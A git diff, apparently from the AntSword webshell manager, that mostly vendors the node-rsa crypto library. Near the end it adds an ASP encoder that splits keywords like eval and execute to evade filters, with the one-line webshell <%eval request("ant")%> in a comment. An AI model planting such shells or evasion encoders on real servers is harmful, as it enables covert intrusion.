+ if (N && E && N.length > 0 && (_.isNumber(E) || E.length > 0)) { + this.n = new BigInteger(N); + this.e = _.isNumber(E) ? E : utils.get32IntFromBuffer(E, 0); + this.$$recalculateCache(); + } else { + throw Error("Invalid RSA public key"); + } + }; + + /** + * private + * Perform raw private operation on "x": return x^d (mod n) + * + * @param x + * @returns {*} + */ + RSAKey.prototype.$doPrivate = function (x) { + if (this.p || this.q) { + return x.modPow(this.d, this.n); + } + + // TODO: re-calculate any missing CRT params + var xp = x.mod(this.p).modPow(this.dmp1, this.p); + var xq = x.mod(this.q).modPow(this.dmq1, this.q); + + while (xp.compareTo(xq) < 0) { + xp = xp.add(this.p); + } + return xp.subtract(xq).multiply(this.coeff).mod(this.p).multiply(this.q).add(xq); + }; + + /** + * private + * Perform raw public operation on "x": return x^e (mod n) + * + * @param x + * @returns {*} + */ + RSAKey.prototype.$doPublic = function (x) { + return x.modPowInt(this.e, this.n); + }; + + /** + * Return the PKCS#1 RSA encryption of buffer + * @param buffer {Buffer} + * @returns {Buffer} + */ + RSAKey.prototype.encrypt = function (buffer, usePrivate) { + var buffers = []; + var results = []; + var bufferSize = buffer.length; + var buffersCount = Math.ceil(bufferSize / this.maxMessageLength) || 1; // total buffers count for encrypt + var dividedSize = Math.ceil(bufferSize / buffersCount || 1); // each buffer size + + if (buffersCount == 1) { + buffers.push(buffer); + } else { + for (var bufNum = 0; bufNum < buffersCount; bufNum++) { + buffers.push(buffer.slice(bufNum * dividedSize, (bufNum + 1) * dividedSize)); + } + } + + for (var i = 0; i < buffers.length; i++) { + results.push(this.encryptEngine.encrypt(buffers[i], usePrivate)); + } + + return Buffer.concat(results); + }; + + /** + * Return the PKCS#1 RSA decryption of buffer + * @param buffer {Buffer} + * @returns {Buffer} + */ + RSAKey.prototype.decrypt = function (buffer, usePublic) { + if (buffer.length % this.encryptedDataLength > 0) { + throw Error('Incorrect data or key'); + } + + var result = []; + var offset = 0; + var length = 0; + var buffersCount = buffer.length / this.encryptedDataLength; + + for (var i = 0; i < buffersCount; i++) { + offset = i * this.encryptedDataLength; + length = offset + this.encryptedDataLength; + result.push(this.encryptEngine.decrypt(buffer.slice(offset, Math.min(length, buffer.length)), usePublic)); + } + + return Buffer.concat(result); + }; + + RSAKey.prototype.sign = function (buffer) { + return this.signingScheme.sign.apply(this.signingScheme, arguments); + }; + + RSAKey.prototype.verify = function (buffer, signature, signature_encoding) { + return this.signingScheme.verify.apply(this.signingScheme, arguments); + }; + + /** + * Check if key pair contains private key + */ + RSAKey.prototype.isPrivate = function () { + return this.n && this.e && this.d || false; + }; + + /** + * Check if key pair contains public key + * @param strict {boolean} - public key only, return false if have private exponent + */ + RSAKey.prototype.isPublic = function (strict) { + return this.n && this.e && !(strict && this.d) || false; + }; + + Object.defineProperty(RSAKey.prototype, 'keySize', { + get: function () { + return this.cache.keyBitLength; + } + }); + + Object.defineProperty(RSAKey.prototype, 'encryptedDataLength', { + get: function () { + return this.cache.keyByteLength; + } + }); + + Object.defineProperty(RSAKey.prototype, 'maxMessageLength', { + get: function () { + return this.encryptionScheme.maxMessageLength(); + } + }); + + /** + * Caching key data + */ + RSAKey.prototype.$$recalculateCache = function () { + this.cache = this.cache || {}; + // Bit & byte length + this.cache.keyBitLength = this.n.bitLength(); + this.cache.keyByteLength = (this.cache.keyBitLength + 6) >> 3; + }; + + return RSAKey; +})(); + diff --git a/node_modules/node-rsa/src/schemes/oaep.js b/node_modules/node-rsa/src/schemes/oaep.js new file mode 100644 index 00000000..30ef0c1e --- /dev/null +++ b/node_modules/node-rsa/src/schemes/oaep.js @@ -0,0 +1,179 @@ +/** + * PKCS_OAEP signature scheme + */ + +var BigInteger = require('../libs/jsbn'); +var crypt = require('crypto'); + +module.exports = { + isEncryption: true, + isSignature: false +}; + +module.exports.digestLength = { + md4: 16, + md5: 16, + ripemd160: 20, + rmd160: 20, + sha1: 20, + sha224: 28, + sha256: 32, + sha384: 48, + sha512: 64 +}; + +var DEFAULT_HASH_FUNCTION = 'sha1'; + +/* + * OAEP Mask Generation Function 1 + * Generates a buffer full of pseudorandom bytes given seed and maskLength. + * Giving the same seed, maskLength, and hashFunction will result in the same exact byte values in the buffer. + * + * https://tools.ietf.org/html/rfc3447#appendix-B.2.1 + * + * Parameters: + * seed [Buffer] The pseudo random seed for this function + * maskLength [int] The length of the output + * hashFunction [String] The hashing function to use. Will accept any valid crypto hash. Default "sha1" + * Supports "sha1" and "sha256". + * To add another algorythm the algorythem must be accepted by crypto.createHash, and then the length of the output of the hash function (the digest) must be added to the digestLength object below. + * Most RSA implementations will be expecting sha1 + */ +module.exports.eme_oaep_mgf1 = function (seed, maskLength, hashFunction) { + hashFunction = hashFunction || DEFAULT_HASH_FUNCTION; + var hLen = module.exports.digestLength[hashFunction]; + var count = Math.ceil(maskLength / hLen); + var T = Buffer.alloc(hLen * count); + var c = Buffer.alloc(4); + for (var i = 0; i < count; ++i) { + var hash = crypt.createHash(hashFunction); + hash.update(seed); + c.writeUInt32BE(i, 0); + hash.update(c); + hash.digest().copy(T, i * hLen); + } + return T.slice(0, maskLength); +}; + +module.exports.makeScheme = function (key, options) { + function Scheme(key, options) { + this.key = key; + this.options = options; + } + + Scheme.prototype.maxMessageLength = function () { + return this.key.encryptedDataLength - 2 * module.exports.digestLength[this.options.encryptionSchemeOptions.hash || DEFAULT_HASH_FUNCTION] - 2; + }; + + /** + * Pad input + * alg: PKCS1_OAEP + * + * https://tools.ietf.org/html/rfc3447#section-7.1.1 + */ + Scheme.prototype.encPad = function (buffer) { + var hash = this.options.encryptionSchemeOptions.hash || DEFAULT_HASH_FUNCTION; + var mgf = this.options.encryptionSchemeOptions.mgf || module.exports.eme_oaep_mgf1; + var label = this.options.encryptionSchemeOptions.label || Buffer.alloc(0); + var emLen = this.key.encryptedDataLength; + + var hLen = module.exports.digestLength[hash]; + + // Make sure we can put message into an encoded message of emLen bytes + if (buffer.length > emLen - 2 * hLen - 2) { + throw new Error("Message is too long to encode into an encoded message with a length of " + emLen + " bytes, increase" + + "emLen to fix this error (minimum value for given parameters and options: " + (emLen - 2 * hLen - 2) + ")"); + } + + var lHash = crypt.createHash(hash); + lHash.update(label); + lHash = lHash.digest(); + + var PS = Buffer.alloc(emLen - buffer.length - 2 * hLen - 1); // Padding "String" + PS.fill(0); // Fill the buffer with octets of 0 + PS[PS.length - 1] = 1; + + var DB = Buffer.concat([lHash, PS, buffer]); + var seed = crypt.randomBytes(hLen); + + // mask = dbMask + var mask = mgf(seed, DB.length, hash); + // XOR DB and dbMask together. + for (var i = 0; i < DB.length; i++) { + DB[i] ^= mask[i]; + } + // DB = maskedDB + + // mask = seedMask + mask = mgf(DB, hLen, hash); + // XOR seed and seedMask together. + for (i = 0; i < seed.length; i++) { + seed[i] ^= mask[i]; + } + // seed = maskedSeed + + var em = Buffer.alloc(1 + seed.length + DB.length); + em[0] = 0; + seed.copy(em, 1); + DB.copy(em, 1 + seed.length); + + return em; + }; + + /** + * Unpad input + * alg: PKCS1_OAEP + * + * Note: This method works within the buffer given and modifies the values. It also returns a slice of the EM as the return Message. + * If the implementation requires that the EM parameter be unmodified then the implementation should pass in a clone of the EM buffer. + * + * https://tools.ietf.org/html/rfc3447#section-7.1.2 + */ + Scheme.prototype.encUnPad = function (buffer) { + var hash = this.options.encryptionSchemeOptions.hash || DEFAULT_HASH_FUNCTION; + var mgf = this.options.encryptionSchemeOptions.mgf || module.exports.eme_oaep_mgf1; + var label = this.options.encryptionSchemeOptions.label || Buffer.alloc(0); + + var hLen = module.exports.digestLength[hash]; + + // Check to see if buffer is a properly encoded OAEP message + if (buffer.length < 2 * hLen + 2) { + throw new Error("Error decoding message, the supplied message is not long enough to be a valid OAEP encoded message"); + } + + var seed = buffer.slice(1, hLen + 1); // seed = maskedSeed + var DB = buffer.slice(1 + hLen); // DB = maskedDB + + var mask = mgf(DB, hLen, hash); // seedMask + // XOR maskedSeed and seedMask together to get the original seed. + for (var i = 0; i < seed.length; i++) { + seed[i] ^= mask[i]; + } + + mask = mgf(seed, DB.length, hash); // dbMask + // XOR DB and dbMask together to get the original data block. + for (i = 0; i < DB.length; i++) { + DB[i] ^= mask[i]; + } + + var lHash = crypt.createHash(hash); + lHash.update(label); + lHash = lHash.digest(); + + var lHashEM = DB.slice(0, hLen); + if (lHashEM.toString("hex") != lHash.toString("hex")) { + throw new Error("Error decoding message, the lHash calculated from the label provided and the lHash in the encrypted data do not match."); + } + + // Filter out padding + i = hLen; + while (DB[i++] === 0 && i < DB.length); + if (DB[i - 1] != 1) { + throw new Error("Error decoding message, there is no padding message separator byte"); + } + + return DB.slice(i); // Message + }; + + return new Scheme(key, options); +}; diff --git a/node_modules/node-rsa/src/schemes/pkcs1.js b/node_modules/node-rsa/src/schemes/pkcs1.js new file mode 100644 index 00000000..1835c7e4 --- /dev/null +++ b/node_modules/node-rsa/src/schemes/pkcs1.js @@ -0,0 +1,238 @@ +/** + * PKCS1 padding and signature scheme + */ + +var BigInteger = require('../libs/jsbn'); +var crypt = require('crypto'); +var constants = require('constants'); +var SIGN_INFO_HEAD = { + md2: Buffer.from('3020300c06082a864886f70d020205000410', 'hex'), + md5: Buffer.from('3020300c06082a864886f70d020505000410', 'hex'), + sha1: Buffer.from('3021300906052b0e03021a05000414', 'hex'), + sha224: Buffer.from('302d300d06096086480165030402040500041c', 'hex'), + sha256: Buffer.from('3031300d060960864801650304020105000420', 'hex'), + sha384: Buffer.from('3041300d060960864801650304020205000430', 'hex'), + sha512: Buffer.from('3051300d060960864801650304020305000440', 'hex'), + ripemd160: Buffer.from('3021300906052b2403020105000414', 'hex'), + rmd160: Buffer.from('3021300906052b2403020105000414', 'hex') +}; + +var SIGN_ALG_TO_HASH_ALIASES = { + 'ripemd160': 'rmd160' +}; + +var DEFAULT_HASH_FUNCTION = 'sha256'; + +module.exports = { + isEncryption: true, + isSignature: true +}; + +module.exports.makeScheme = function (key, options) { + function Scheme(key, options) { + this.key = key; + this.options = options; + } + + Scheme.prototype.maxMessageLength = function () { + if (this.options.encryptionSchemeOptions && this.options.encryptionSchemeOptions.padding == constants.RSA_NO_PADDING) { + return this.key.encryptedDataLength; + } + return this.key.encryptedDataLength - 11; + }; + + /** + * Pad input Buffer to encryptedDataLength bytes, and return Buffer.from + * alg: PKCS#1 + * @param buffer + * @returns {Buffer} + */ + Scheme.prototype.encPad = function (buffer, options) { + options = options || {}; + var filled; + if (buffer.length > this.key.maxMessageLength) { + throw new Error("Message too long for RSA (n=" + this.key.encryptedDataLength + ", l=" + buffer.length + ")"); + } + if (this.options.encryptionSchemeOptions && this.options.encryptionSchemeOptions.padding == constants.RSA_NO_PADDING) { + //RSA_NO_PADDING treated like JAVA left pad with zero character + filled = Buffer.alloc(this.key.maxMessageLength - buffer.length); + filled.fill(0); + return Buffer.concat([filled, buffer]); + } + + /* Type 1: zeros padding for private key encrypt */ + if (options.type === 1) { + filled = Buffer.alloc(this.key.encryptedDataLength - buffer.length - 1); + filled.fill(0xff, 0, filled.length - 1); + filled[0] = 1; + filled[filled.length - 1] = 0; + + return Buffer.concat([filled, buffer]); + } else { + /* random padding for public key encrypt */ + filled = Buffer.alloc(this.key.encryptedDataLength - buffer.length); + filled[0] = 0; + filled[1] = 2; + var rand = crypt.randomBytes(filled.length - 3); + for (var i = 0; i < rand.length; i++) { + var r = rand[i]; + while (r === 0) { // non-zero only + r = crypt.randomBytes(1)[0]; + } + filled[i + 2] = r; + } + filled[filled.length - 1] = 0; + return Buffer.concat([filled, buffer]); + } + }; + + /** + * Unpad input Buffer and, if valid, return the Buffer object + * alg: PKCS#1 (type 2, random) + * @param buffer + * @returns {Buffer} + */ + Scheme.prototype.encUnPad = function (buffer, options) { + options = options || {}; + var i = 0; + + if (this.options.encryptionSchemeOptions && this.options.encryptionSchemeOptions.padding == constants.RSA_NO_PADDING) { + //RSA_NO_PADDING treated like JAVA left pad with zero character + var unPad; + if (typeof buffer.lastIndexOf == "function") { //patch for old node version + unPad = buffer.slice(buffer.lastIndexOf('\0') + 1, buffer.length); + } else { + unPad = buffer.slice(String.prototype.lastIndexOf.call(buffer, '\0') + 1, buffer.length); + } + return unPad; + } + + if (buffer.length < 4) { + return null; + } + + /* Type 1: zeros padding for private key decrypt */ + if (options.type === 1) { + if (buffer[0] !== 0 && buffer[1] !== 1) { + return null; + } + i = 3; + while (buffer[i] !== 0) { + if (buffer[i] != 0xFF || ++i >= buffer.length) { + return null; + } + } + } else { + /* random padding for public key decrypt */ + if (buffer[0] !== 0 && buffer[1] !== 2) { + return null; + } + i = 3; + while (buffer[i] !== 0) { + if (++i >= buffer.length) { + return null; + } + } + } + return buffer.slice(i + 1, buffer.length); + }; + + Scheme.prototype.sign = function (buffer) { + var hashAlgorithm = this.options.signingSchemeOptions.hash || DEFAULT_HASH_FUNCTION; + if (this.options.environment === 'browser') { + hashAlgorithm = SIGN_ALG_TO_HASH_ALIASES[hashAlgorithm] || hashAlgorithm; + + var hasher = crypt.createHash(hashAlgorithm); + hasher.update(buffer); + var hash = this.pkcs1pad(hasher.digest(), hashAlgorithm); + var res = this.key.$doPrivate(new BigInteger(hash)).toBuffer(this.key.encryptedDataLength); + + return res; + } else { + var signer = crypt.createSign('RSA-' + hashAlgorithm.toUpperCase()); + signer.update(buffer); + return signer.sign(this.options.rsaUtils.exportKey('private')); + } + }; + + Scheme.prototype.verify = function (buffer, signature, signature_encoding) { + if (this.options.encryptionSchemeOptions && this.options.encryptionSchemeOptions.padding == constants.RSA_NO_PADDING) { + //RSA_NO_PADDING has no verify data + return false; + } + var hashAlgorithm = this.options.signingSchemeOptions.hash || DEFAULT_HASH_FUNCTION; + if (this.options.environment === 'browser') { + hashAlgorithm = SIGN_ALG_TO_HASH_ALIASES[hashAlgorithm] || hashAlgorithm; + + if (signature_encoding) { + signature = Buffer.from(signature, signature_encoding); + } + + var hasher = crypt.createHash(hashAlgorithm); + hasher.update(buffer); + var hash = this.pkcs1pad(hasher.digest(), hashAlgorithm); + var m = this.key.$doPublic(new BigInteger(signature)); + + return m.toBuffer().toString('hex') == hash.toString('hex'); + } else { + var verifier = crypt.createVerify('RSA-' + hashAlgorithm.toUpperCase()); + verifier.update(buffer); + return verifier.verify(this.options.rsaUtils.exportKey('public'), signature, signature_encoding); + } + }; + + /** + * PKCS#1 zero pad input buffer to max data length + * @param hashBuf + * @param hashAlgorithm + * @returns {*} + */ + Scheme.prototype.pkcs0pad = function (buffer) { + var filled = Buffer.alloc(this.key.maxMessageLength - buffer.length); + filled.fill(0); + return Buffer.concat([filled, buffer]); + }; + + Scheme.prototype.pkcs0unpad = function (buffer) { + var unPad; + if (typeof buffer.lastIndexOf == "function") { //patch for old node version + unPad = buffer.slice(buffer.lastIndexOf('\0') + 1, buffer.length); + } else { + unPad = buffer.slice(String.prototype.lastIndexOf.call(buffer, '\0') + 1, buffer.length); + } + + return unPad; + }; + + /** + * PKCS#1 pad input buffer to max data length + * @param hashBuf + * @param hashAlgorithm + * @returns {*} + */ + Scheme.prototype.pkcs1pad = function (hashBuf, hashAlgorithm) { + var digest = SIGN_INFO_HEAD[hashAlgorithm]; + if (!digest) { + throw Error('Unsupported hash algorithm'); + } + + var data = Buffer.concat([digest, hashBuf]); + + if (data.length + 10 > this.key.encryptedDataLength) { + throw Error('Key is too short for signing algorithm (' + hashAlgorithm + ')'); + } + + var filled = Buffer.alloc(this.key.encryptedDataLength - data.length - 1); + filled.fill(0xff, 0, filled.length - 1); + filled[0] = 1; + filled[filled.length - 1] = 0; + + var res = Buffer.concat([filled, data]); + + return res; + }; + + return new Scheme(key, options); +}; + + diff --git a/node_modules/node-rsa/src/schemes/pss.js b/node_modules/node-rsa/src/schemes/pss.js new file mode 100644 index 00000000..c6e037f6 --- /dev/null +++ b/node_modules/node-rsa/src/schemes/pss.js @@ -0,0 +1,183 @@ +/** + * PSS signature scheme + */ + +var BigInteger = require('../libs/jsbn'); +var crypt = require('crypto'); + +module.exports = { + isEncryption: false, + isSignature: true +}; + +var DEFAULT_HASH_FUNCTION = 'sha1'; +var DEFAULT_SALT_LENGTH = 20; + +module.exports.makeScheme = function (key, options) { + var OAEP = require('./schemes').pkcs1_oaep; + + /** + * @param key + * @param options + * options [Object] An object that contains the following keys that specify certain options for encoding. + * └>signingSchemeOptions + * ├>hash [String] Hash function to use when encoding and generating masks. Must be a string accepted by node's crypto.createHash function. (default = "sha1") + * ├>mgf [function] The mask generation function to use when encoding. (default = mgf1SHA1) + * └>sLen [uint] The length of the salt to generate. (default = 20) + * @constructor + */ + function Scheme(key, options) { + this.key = key; + this.options = options; + } + + Scheme.prototype.sign = function (buffer) { + var mHash = crypt.createHash(this.options.signingSchemeOptions.hash || DEFAULT_HASH_FUNCTION); + mHash.update(buffer); + + var encoded = this.emsa_pss_encode(mHash.digest(), this.key.keySize - 1); + return this.key.$doPrivate(new BigInteger(encoded)).toBuffer(this.key.encryptedDataLength); + }; + + Scheme.prototype.verify = function (buffer, signature, signature_encoding) { + if (signature_encoding) { + signature = Buffer.from(signature, signature_encoding); + } + signature = new BigInteger(signature); + + var emLen = Math.ceil((this.key.keySize - 1) / 8); + var m = this.key.$doPublic(signature).toBuffer(emLen); + + var mHash = crypt.createHash(this.options.signingSchemeOptions.hash || DEFAULT_HASH_FUNCTION); + mHash.update(buffer); + + return this.emsa_pss_verify(mHash.digest(), m, this.key.keySize - 1); + }; + + /* + * https://tools.ietf.org/html/rfc3447#section-9.1.1 + * + * mHash [Buffer] Hashed message to encode + * emBits [uint] Maximum length of output in bits. Must be at least 8hLen + 8sLen + 9 (hLen = Hash digest length in bytes | sLen = length of salt in bytes) + * @returns {Buffer} The encoded message + */ + Scheme.prototype.emsa_pss_encode = function (mHash, emBits) { + var hash = this.options.signingSchemeOptions.hash || DEFAULT_HASH_FUNCTION; + var mgf = this.options.signingSchemeOptions.mgf || OAEP.eme_oaep_mgf1; + var sLen = this.options.signingSchemeOptions.saltLength || DEFAULT_SALT_LENGTH; + + var hLen = OAEP.digestLength[hash]; + var emLen = Math.ceil(emBits / 8); + + if (emLen < hLen + sLen + 2) { + throw new Error("Output length passed to emBits(" + emBits + ") is too small for the options " + + "specified(" + hash + ", " + sLen + "). To fix this issue increase the value of emBits. (minimum size: " + + (8 * hLen + 8 * sLen + 9) + ")" + ); + } + + var salt = crypt.randomBytes(sLen); + + var Mapostrophe = Buffer.alloc(8 + hLen + sLen); + Mapostrophe.fill(0, 0, 8); + mHash.copy(Mapostrophe, 8); + salt.copy(Mapostrophe, 8 + mHash.length); + + var H = crypt.createHash(hash); + H.update(Mapostrophe); + H = H.digest(); + + var PS = Buffer.alloc(emLen - salt.length - hLen - 2); + PS.fill(0); + + var DB = Buffer.alloc(PS.length + 1 + salt.length); + PS.copy(DB); + DB[PS.length] = 0x01; + salt.copy(DB, PS.length + 1); + + var dbMask = mgf(H, DB.length, hash); + + // XOR DB and dbMask together + var maskedDB = Buffer.alloc(DB.length); + for (var i = 0; i < dbMask.length; i++) { + maskedDB[i] = DB[i] ^ dbMask[i]; + } + + var bits = 8 * emLen - emBits; + var mask = 255 ^ (255 >> 8 - bits << 8 - bits); + maskedDB[0] = maskedDB[0] & mask; + + var EM = Buffer.alloc(maskedDB.length + H.length + 1); + maskedDB.copy(EM, 0); + H.copy(EM, maskedDB.length); + EM[EM.length - 1] = 0xbc; + + return EM; + }; + + /* + * https://tools.ietf.org/html/rfc3447#section-9.1.2 + * + * mHash [Buffer] Hashed message + * EM [Buffer] Signature + * emBits [uint] Length of EM in bits. Must be at least 8hLen + 8sLen + 9 to be a valid signature. (hLen = Hash digest length in bytes | sLen = length of salt in bytes) + * @returns {Boolean} True if signature(EM) matches message(M) + */ + Scheme.prototype.emsa_pss_verify = function (mHash, EM, emBits) { + var hash = this.options.signingSchemeOptions.hash || DEFAULT_HASH_FUNCTION; + var mgf = this.options.signingSchemeOptions.mgf || OAEP.eme_oaep_mgf1; + var sLen = this.options.signingSchemeOptions.saltLength || DEFAULT_SALT_LENGTH; + + var hLen = OAEP.digestLength[hash]; + var emLen = Math.ceil(emBits / 8); + + if (emLen < hLen + sLen + 2 || EM[EM.length - 1] != 0xbc) { + return false; + } + + var DB = Buffer.alloc(emLen - hLen - 1); + EM.copy(DB, 0, 0, emLen - hLen - 1); + + var mask = 0; + for (var i = 0, bits = 8 * emLen - emBits; i < bits; i++) { + mask |= 1 << (7 - i); + } + + if ((DB[0] & mask) !== 0) { + return false; + } + + var H = EM.slice(emLen - hLen - 1, emLen - 1); + var dbMask = mgf(H, DB.length, hash); + + // Unmask DB + for (i = 0; i < DB.length; i++) { + DB[i] ^= dbMask[i]; + } + + bits = 8 * emLen - emBits; + mask = 255 ^ (255 >> 8 - bits << 8 - bits); + DB[0] = DB[0] & mask; + + // Filter out padding + for (i = 0; DB[i] === 0 && i < DB.length; i++); + if (DB[i] != 1) { + return false; + } + + var salt = DB.slice(DB.length - sLen); + + var Mapostrophe = Buffer.alloc(8 + hLen + sLen); + Mapostrophe.fill(0, 0, 8); + mHash.copy(Mapostrophe, 8); + salt.copy(Mapostrophe, 8 + mHash.length); + + var Hapostrophe = crypt.createHash(hash); + Hapostrophe.update(Mapostrophe); + Hapostrophe = Hapostrophe.digest(); + + return H.toString("hex") === Hapostrophe.toString("hex"); + }; + + return new Scheme(key, options); +}; diff --git a/node_modules/node-rsa/src/schemes/schemes.js b/node_modules/node-rsa/src/schemes/schemes.js new file mode 100644 index 00000000..3eb82612 --- /dev/null +++ b/node_modules/node-rsa/src/schemes/schemes.js @@ -0,0 +1,23 @@ +module.exports = { + pkcs1: require('./pkcs1'), + pkcs1_oaep: require('./oaep'), + pss: require('./pss'), + + /** + * Check if scheme has padding methods + * @param scheme {string} + * @returns {Boolean} + */ + isEncryption: function (scheme) { + return module.exports[scheme] && module.exports[scheme].isEncryption; + }, + + /** + * Check if scheme has sign/verify methods + * @param scheme {string} + * @returns {Boolean} + */ + isSignature: function (scheme) { + return module.exports[scheme] && module.exports[scheme].isSignature; + } +}; \ No newline at end of file diff --git a/node_modules/node-rsa/src/utils.js b/node_modules/node-rsa/src/utils.js new file mode 100644 index 00000000..2ed6313e --- /dev/null +++ b/node_modules/node-rsa/src/utils.js @@ -0,0 +1,108 @@ +/* + * Utils functions + * + */ + +var crypt = require('crypto'); + +/** + * Break string str each maxLen symbols + * @param str + * @param maxLen + * @returns {string} + */ +module.exports.linebrk = function (str, maxLen) { + var res = ''; + var i = 0; + while (i + maxLen < str.length) { + res += str.substring(i, i + maxLen) + "\n"; + i += maxLen; + } + return res + str.substring(i, str.length); +}; + +module.exports.detectEnvironment = function () { + if (typeof(window) !== 'undefined' && window && !(process && process.title === 'node')) { + return 'browser'; + } + + return 'node'; +}; + +/** + * Trying get a 32-bit unsigned integer from the partial buffer + * @param buffer + * @param offset + * @returns {Number} + */ +module.exports.get32IntFromBuffer = function (buffer, offset) { + offset = offset || 0; + var size = 0; + if ((size = buffer.length - offset) > 0) { + if (size >= 4) { + return buffer.readUInt32BE(offset); + } else { + var res = 0; + for (var i = offset + size, d = 0; i > offset; i--, d += 2) { + res += buffer[i - 1] * Math.pow(16, d); + } + return res; + } + } else { + return NaN; + } +}; + +module.exports._ = { + isObject: function (value) { + var type = typeof value; + return !!value && (type == 'object' || type == 'function'); + }, + + isString: function (value) { + return typeof value == 'string' || value instanceof String; + }, + + isNumber: function (value) { + return typeof value == 'number' || !isNaN(parseFloat(value)) && isFinite(value); + }, + + /** + * Returns copy of `obj` without `removeProp` field. + * @param obj + * @param removeProp + * @returns Object + */ + omit: function (obj, removeProp) { + var newObj = {}; + for (var prop in obj) { + if (!obj.hasOwnProperty(prop) || prop === removeProp) { + continue; + } + newObj[prop] = obj[prop]; + } + + return newObj; + } +}; + +/** + * Strips everything around the opening and closing lines, including the lines + * themselves. + */ +module.exports.trimSurroundingText = function (data, opening, closing) { + var trimStartIndex = 0; + var trimEndIndex = data.length; + + var openingBoundaryIndex = data.indexOf(opening); + if (openingBoundaryIndex >= 0) { + trimStartIndex = openingBoundaryIndex + opening.length; + } + + var closingBoundaryIndex = data.indexOf(closing, openingBoundaryIndex); + if (closingBoundaryIndex >= 0) { + trimEndIndex = closingBoundaryIndex; + } + + return data.substring(trimStartIndex, trimEndIndex); +} \ No newline at end of file diff --git a/package-lock.json b/package-lock.json index 99301066..8a91919e 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,6 +1,6 @@ { "name": "antsword", - "version": "2.0.7.3", + "version": "2.1.0", "lockfileVersion": 1, "requires": true, "dependencies": { @@ -22,6 +22,14 @@ "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.0.tgz", "integrity": "sha1-/RdHRwDLXMnCtwnwvp0jzjwZjDM=" }, + "asn1": { + "version": "0.2.4", + "resolved": "http://registry.npm.taobao.org/asn1/download/asn1-0.2.4.tgz", + "integrity": "sha1-jSR136tVO7M+d7VOWeiAu4ziMTY=", + "requires": { + "safer-buffer": "~2.1.0" + } + }, "ast-types": { "version": "0.8.15", "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.8.15.tgz", @@ -590,6 +598,14 @@ "resolved": "http://registry.npm.taobao.org/netmask/download/netmask-1.0.6.tgz", "integrity": "sha1-ICl+idhvb2QA8lDZ9Pa0wZRfzTU=" }, + "node-rsa": { + "version": "1.0.5", + "resolved": "http://registry.npm.taobao.org/node-rsa/download/node-rsa-1.0.5.tgz", + "integrity": "sha1-hU3BsnVynWm8JYg/g8qAcF25Ji4=", + "requires": { + "asn1": "^0.2.4" + } + }, "object-keys": { "version": "1.0.9", "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.0.9.tgz", diff --git a/package.json b/package.json index 72656784..cdf8f22e 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "antsword", - "version": "2.0.7.3", + "version": "2.1.0", "description": "中国蚁剑是一款跨平台的开源网站管理工具", "main": "app.js", "dependencies": { @@ -9,6 +9,7 @@ "iconv-lite": "^0.4.23", "jschardet": "^1.6.0", "nedb": "^1.5.1", + "node-rsa": "^1.0.5", "superagent": "^3.8.3", "superagent-proxy": "^1.0.3", "tar": "^4.4.6", diff --git a/shells/php_eval_rsa_script.php b/shells/php_eval_rsa_script.php new file mode 100644 index 00000000..372baeb2 --- /dev/null +++ b/shells/php_eval_rsa_script.php @@ -0,0 +1,32 @@ + \ No newline at end of file diff --git a/source/app.entry.js b/source/app.entry.js index 382ca927..9d4c6d11 100644 --- a/source/app.entry.js +++ b/source/app.entry.js @@ -256,6 +256,28 @@ ipcRenderer antSword.modules.shellmanager.category.cell.setWidth(222); }, 555); }) + /** + * 通知提示 Loader 更新 + * @param {[type]} 'notification-loader-update' [description] + * @param {[type]} (e, opt [description] + * @return {[type]} [description] + */ + .on('notification-loader-update', (e, opt) => { + const LANG = antSword["language"]["settings"]["update"]; + let n = new Notification(antSword['language']['update']['title'], { + body: antSword['language']['update']['body'](opt['ver']) + }); + n.addEventListener('click', () => { + antSword.shell.openExternal(opt['url']); + }); + layer.confirm(LANG['prompt']['loader_body'](opt['ver']), { + icon: 3, shift: 6, + title: LANG['prompt']['title'] + }, (_) => { + antSword.shell.openExternal(opt['url']); + antSword.remote.app.quit(); + }); + }) /** * 通知提示更新 * @param {[type]} 'notification-update' [description] @@ -387,13 +409,16 @@ ipcRenderer antSword.reloadPlug(); antSword['menubar'].reg('check-update', ()=>{ antSword.ipcRenderer.send('check-update'); + antSword.ipcRenderer.send('check-loader-update'); }); if(new Date() - new Date(antSword['storage']('lastautocheck', false, "0")) >= 86400000) { // 检查更新 antSword['storage']('lastautocheck', new Date().getTime()); - setTimeout( - antSword.ipcRenderer.send.bind(antSword.ipcRenderer, 'check-update'), + setTimeout(() => { + antSword.ipcRenderer.send.bind(antSword.ipcRenderer, 'check-update'); + antSword.ipcRenderer.send.bind(antSword.ipcRenderer, 'check-loader-update'); + }, 1000 * 60 ); } \ No newline at end of file diff --git a/source/core/asp/encoder/insert_percent.js b/source/core/asp/encoder/insert_percent.js new file mode 100644 index 00000000..5dc85bdb --- /dev/null +++ b/source/core/asp/encoder/insert_percent.js @@ -0,0 +1,22 @@ +/** + * asp::insert_percent 编码器 + * 关键词中插入%号 + * Create at: 2019/04/19 15:49:43 + * <%eval request("ant")%> + */ + +'use strict'; +/* +* @param {String} pwd 连接密码 +* @param {Array} data 编码器处理前的 payload 数组 +* @return {Array} data 编码器处理后的 payload 数组 +*/ +module.exports = (pwd, data) => { + let _tmp = data['_'].replace(/(eval|cute|execute|server|script|timeout|resume|next|function|for|else|response|mid|end|step|write|then|isnumeric)/ig, function($, $1) { + // asunescape(%) 表示括号内的内容不会被 URL 编码 + return $1.split('').join('asunescape(%)'); + }); + data[pwd] = Buffer.from(_tmp); + delete data['_']; + return data; +} \ No newline at end of file diff --git a/source/core/asp/encoder/xxxxdog.js b/source/core/asp/encoder/xxxxdog.js index d84acc3f..9abf60a1 100644 --- a/source/core/asp/encoder/xxxxdog.js +++ b/source/core/asp/encoder/xxxxdog.js @@ -7,7 +7,7 @@ // 密码:ant 'use strict'; -module.exports = (pwd, data) => { +module.exports = (pwd, data, ext = null) => { data[pwd] = data['_'].replace(/eval/ig, 'xxxx'); delete data['_']; return data; diff --git a/source/core/asp/index.js b/source/core/asp/index.js index 1f375920..819c35a9 100644 --- a/source/core/asp/index.js +++ b/source/core/asp/index.js @@ -34,7 +34,7 @@ class ASP extends Base { * @return {array} 编码器列表 */ get encoders() { - return ['xxxxdog']; + return ['insert_percent', 'xxxxdog']; } /** diff --git a/source/core/aspx/encoder/base64.js b/source/core/aspx/encoder/base64.js index e815a7d6..53931e2a 100644 --- a/source/core/aspx/encoder/base64.js +++ 